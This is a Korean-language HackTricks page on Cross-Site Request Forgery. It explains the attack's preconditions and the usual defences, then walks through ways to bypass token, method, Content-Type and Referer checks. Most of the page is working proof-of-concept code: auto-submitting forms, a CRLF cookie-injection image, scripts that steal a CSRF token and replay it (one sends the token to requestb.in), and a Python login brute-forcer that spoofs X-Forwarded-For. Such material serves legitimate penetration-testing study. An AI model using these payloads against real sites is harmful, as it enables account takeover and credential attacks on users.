CSRF (Cross Site Request Forgery)
Reading time: 17 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Cross-Site Request Forgery (CSRF) 설명
Cross-Site Request Forgery (CSRF) 은 웹 애플리케이션에서 발견되는 일종의 보안 취약점입니다. 공격자는 사용자의 인증된 세션을 악용하여 사용자를 대신해 작업을 수행할 수 있습니다. 이 공격은 사용자가 피해자의 플랫폼에 로그인한 상태에서 악성 사이트를 방문할 때 실행됩니다. 해당 사이트는 JavaScript 실행, 폼 제출 또는 이미지 로드와 같은 방법으로 피해자 계정에 요청을 전송합니다.
CSRF 공격을 위한 사전 조건
CSRF 취약점을 악용하려면 몇 가지 조건이 충족되어야 합니다:
- Identify a Valuable Action: 공격자는 사용자 비밀번호, 이메일 변경 또는 권한 상승과 같이 악용할 가치가 있는 작업을 찾아야 합니다.
- Session Management: 사용자의 세션은 cookies 또는 HTTP Basic Authentication header를 통해서만 관리되어야 합니다. 다른 헤더는 이 목적을 위해 조작할 수 없습니다.
- Absence of Unpredictable Parameters: 요청에 예측 불가능한 매개변수가 포함되어 있지 않아야 합니다. 이러한 매개변수는 공격을 방지할 수 있습니다.
빠른 확인
요청을 Burp에서 캡처하고 CSRF 보호를 확인할 수 있으며, 브라우저에서 테스트하려면 Copy as fetch를 클릭하여 요청을 확인할 수 있습니다:
 (1) (1).png)
CSRF 방어
다음과 같은 여러 대책을 구현하여 CSRF 공격으로부터 보호할 수 있습니다:
- SameSite cookies: 이 속성은 브라우저가 교차 사이트 요청과 함께 cookies를 전송하는 것을 방지합니다. More about SameSite cookies.
- Cross-origin resource sharing: 피해자 사이트의 CORS 정책은 공격의 가능성에 영향을 줄 수 있으며, 특히 공격이 피해자 사이트의 응답을 읽어야 할 경우에 그렇습니다. Learn about CORS bypass.
- User Verification: 사용자 비밀번호 입력을 요구하거나 captcha 해결을 통해 사용자의 의도를 확인할 수 있습니다.
- Checking Referrer or Origin Headers: Referrer 또는 Origin 헤더를 검증하면 요청이 신뢰된 출처에서 오는지 확인할 수 있습니다. 그러나 URL을 세심하게 조작하면 제대로 구현되지 않은 검사들을 우회할 수 있습니다. 예:
- Using
http://mal.net?orig=http://example.com
(URL이 신뢰된 URL로 끝남) - Using
http://example.com.mal.net
(URL이 신뢰된 URL로 시작함)
- Using
- Modifying Parameter Names: POST 또는 GET 요청의 매개변수 이름을 변경하면 자동화된 공격을 방지하는 데 도움이 될 수 있습니다.
- CSRF Tokens: 세션마다 고유한 CSRF 토큰을 포함하고 이후 요청에서 이 토큰을 요구하면 CSRF 위험을 크게 줄일 수 있습니다. 토큰의 효과는 CORS 적용으로 향상될 수 있습니다.
이러한 방어책을 이해하고 구현하는 것은 웹 애플리케이션의 보안과 무결성을 유지하는 데 중요합니다.
방어 우회
POST에서 GET으로 (method-conditioned CSRF validation bypass)
일부 애플리케이션은 다른 HTTP verbs에 대해서는 건너뛰고 POST에만 CSRF 검증을 적용합니다. PHP에서 흔한 안티 패턴은 다음과 같습니다:
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
취약한 엔드포인트가 $_REQUEST에서 오는 파라미터도 허용하면, 동일한 액션을 GET 요청으로 재전송하고 CSRF 토큰을 완전히 생략할 수 있습니다. 이렇게 하면 POST 전용 액션이 토큰 없이 성공하는 GET 액션으로 바뀝니다.
Example:
- Original POST with token (intended):
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
- Bypass by switching to GET (no token):
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
Notes:
- 이 패턴은 응답이 application/json 대신 text/html로 잘못 서빙되는 reflected XSS와 함께 자주 나타납니다.
- XSS와 결합하면 단일 GET 링크로 취약한 코드 경로를 트리거하고 CSRF 검사를 완전히 회피할 수 있으므로 악용 장벽이 크게 낮아집니다.
토큰 누락
애플리케이션은 토큰이 있을 때 이를 검증하는 메커니즘을 구현할 수 있습니다. 하지만 토큰이 없을 때 검증을 완전히 건너뛰면 취약점이 발생합니다. 공격자는 토큰의 값만 바꾸는 것이 아니라 토큰을 전달하는 파라미터 자체를 제거(remove the parameter) 함으로써 이를 악용할 수 있습니다. 이렇게 하면 검증 과정을 우회하고 효과적으로 Cross-Site Request Forgery (CSRF) 공격을 수행할 수 있습니다.
CSRF 토큰이 사용자 세션에 연동되어 있지 않음
CSRF 토큰을 사용자 세션에 연동하지 않는 애플리케이션은 심각한 보안 위험을 안고 있습니다. 이러한 시스템은 각 토큰을 발행 세션에 바인딩하지 않고 글로벌 풀을 기준으로 토큰을 검증합니다.
공격자가 이를 악용하는 방법은 다음과 같습니다:
- 자신의 계정으로 인증한다.
- 글로벌 풀에서 유효한 CSRF 토큰을 획득한다.
- 이 토큰을 피해자를 대상으로 한 CSRF 공격에 사용한다.
이 취약점은 공격자가 애플리케이션의 부적절한 토큰 검증 메커니즘을 악용해 피해자를 대신하여 권한 없는 요청을 수행할 수 있게 합니다.
Method bypass
요청이 "이상한" method를 사용하고 있다면 method override 기능이 동작하는지 확인하세요. 예를 들어 PUT을 사용 중이라면 POST를 사용하고 다음과 같이 전송해 볼 수 있습니다: _https://example.com/my/dear/api/val/num?_method=PUT
이것은 POST 요청 내부에 _method 파라미터를 넣어서 보내거나 다음 헤더들을 사용해서도 작동할 수 있습니다:
- X-HTTP-Method
- X-HTTP-Method-Override
- X-Method-Override
Custom header token bypass
요청이 CSRF 보호 수단으로 토큰을 담은 커스텀 헤더를 추가한다면:
- Customized Token 및 해당 헤더 없이 요청을 테스트해보세요.
- 동일한 길이지만 다른 토큰으로 요청을 테스트해보세요.
CSRF 토큰이 쿠키로 검증되는 경우
애플리케이션은 토큰을 쿠키와 요청 파라미터에 중복해서 넣거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 확인하는 방식으로 CSRF 보호를 구현할 수 있습니다. 애플리케이션은 요청 파라미터의 토큰이 쿠키 값과 일치하는지를 확인하여 요청을 검증합니다.
그러나 사이트에 CRLF 취약점 등 공격자가 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함이 있다면 이 방식은 CSRF 공격에 취약합니다. 공격자는 쿠키를 설정하는 속임수 이미지(deceptive image)를 로드한 뒤 CSRF 공격을 개시함으로써 이를 악용할 수 있습니다.
아래는 공격을 구성하는 예시입니다:
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>
tip
csrf token이 session cookie와 관련되어 있다면 이 공격은 작동하지 않습니다. 왜냐하면 피해자에게 당신의 세션을 설정해야 하고, 따라서 결국 당신 자신을 공격하게 되기 때문입니다.
Content-Type 변경
According to this, in order to avoid preflight requests using POST method these are the allowed Content-Type values:
application/x-www-form-urlencoded
multipart/form-data
text/plain
그러나 사용된 Content-Type에 따라 서버 로직이 달라질 수 있으므로 위에서 언급한 값들과 다른 값들, 예를 들어 application/json
,text/xml
, application/xml
. 도 시도해 보아야 합니다.
예제 (from here) of sending JSON data as text/plain:
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>
JSON 데이터에 대한 Preflight 요청 우회
POST 요청으로 JSON 데이터를 전송하려 할 때, HTML form에서 Content-Type: application/json
을 직접 지정하는 것은 불가능합니다. 마찬가지로 XMLHttpRequest
로 이 Content-Type을 보내면 preflight request가 발생합니다. 그럼에도 불구하고 이 제한을 우회하고 서버가 Content-Type와 관계없이 JSON 데이터를 처리하는지 확인할 수 있는 몇 가지 방법이 있습니다:
- Use Alternative Content Types: form에
enctype="text/plain"
을 설정해Content-Type: text/plain
또는Content-Type: application/x-www-form-urlencoded
를 사용합니다. 이는 백엔드가 Content-Type에 관계없이 데이터를 사용하는지 테스트합니다. - Modify Content Type: preflight request를 발생시키지 않으면서 서버가 콘텐츠를 JSON으로 인식하도록 하려면
Content-Type: text/plain; application/json
으로 데이터를 보낼 수 있습니다. 이는 preflight request를 유발하지 않지만, 서버가application/json
을 허용하도록 설정되어 있다면 올바르게 처리될 수 있습니다. - SWF Flash File Utilization: 덜 일반적이지만 가능한 방법으로 SWF flash 파일을 이용해 이러한 제한을 우회할 수 있습니다. 이 기법에 대한 자세한 내용은 this post를 참조하세요.
Referrer / Origin 검사 우회
Referrer 헤더 회피
애플리케이션은 'Referer' 헤더가 존재할 때만 이를 검증할 수 있습니다. 브라우저가 이 헤더를 전송하지 못하게 하려면 다음 HTML meta 태그를 사용할 수 있습니다:
<meta name="referrer" content="never">
이렇게 하면 'Referer' 헤더가 생략되어 일부 애플리케이션의 검증을 우회할 수 있습니다.
Regexp bypasses
Referrer가 파라미터 안에 전송할 서버의 도메인 이름을 URL에 설정하려면 다음과 같이 할 수 있습니다:
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>
HEAD method bypass
이 this CTF writeup의 첫 부분에서는 Oak's source code에서 router가 handle HEAD requests as GET requests with no response body로 설정되어 있다고 설명합니다 — 이는 Oak에만 국한되지 않는 흔한 우회 방법입니다. HEAD reqs를 처리하는 특정 handler 대신, 요청들은 단순히 given to the GET handler but the app just removes the response body.
따라서 GET 요청이 제한되고 있다면, 단순히 send a HEAD request that will be processed as a GET request 하면 됩니다.
Exploit Examples
Exfiltrating CSRF Token
만약 CSRF token이 defence로 사용되고 있다면, XSS 취약점이나 Dangling Markup 취약점을 악용해 exfiltrate it하려 시도할 수 있습니다.
GET using HTML tags
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
자동으로 GET 요청을 전송하는 데 사용할 수 있는 다른 HTML5 태그들은:
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>
폼 GET 요청
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
Form POST 요청
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>
iframe를 통한 Form POST 요청
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
Ajax POST 요청
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2",
})
</script>
multipart/form-data POST 요청
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
multipart/form-data POST 요청 v2
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
// MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
iframe 내부에서의 Form POST 요청
<--! expl.html -->
<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>
CSRF 토큰을 탈취해 POST 요청 보내기
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy")
}
function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}
var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
CSRF Token을 탈취하고 iframe, form, Ajax를 사용해 Post 요청을 전송하기
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value
document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
CSRF Token을 훔치고 iframe과 form을 사용하여 POST 요청 보내기
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>
<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>
token을 훔쳐서 2개의 iframes로 전송하기
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
POSTSteal CSRF 토큰을 Ajax로 훔치고 form으로 POST 전송하기
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>
<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>
Socket.IO를 이용한 CSRF
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")
const username = "admin"
socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>
CSRF Login Brute Force
코드는 CSRF token을 사용해 login form에 대해 Brute Force 공격을 수행하는 데 사용할 수 있습니다 (또한 X-Forwarded-For 헤더를 사용하여 가능한 IP blacklisting을 우회하려 시도합니다):
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
도구
참고자료
- https://portswigger.net/web-security/csrf
- https://portswigger.net/web-security/csrf/bypassing-token-validation
- https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.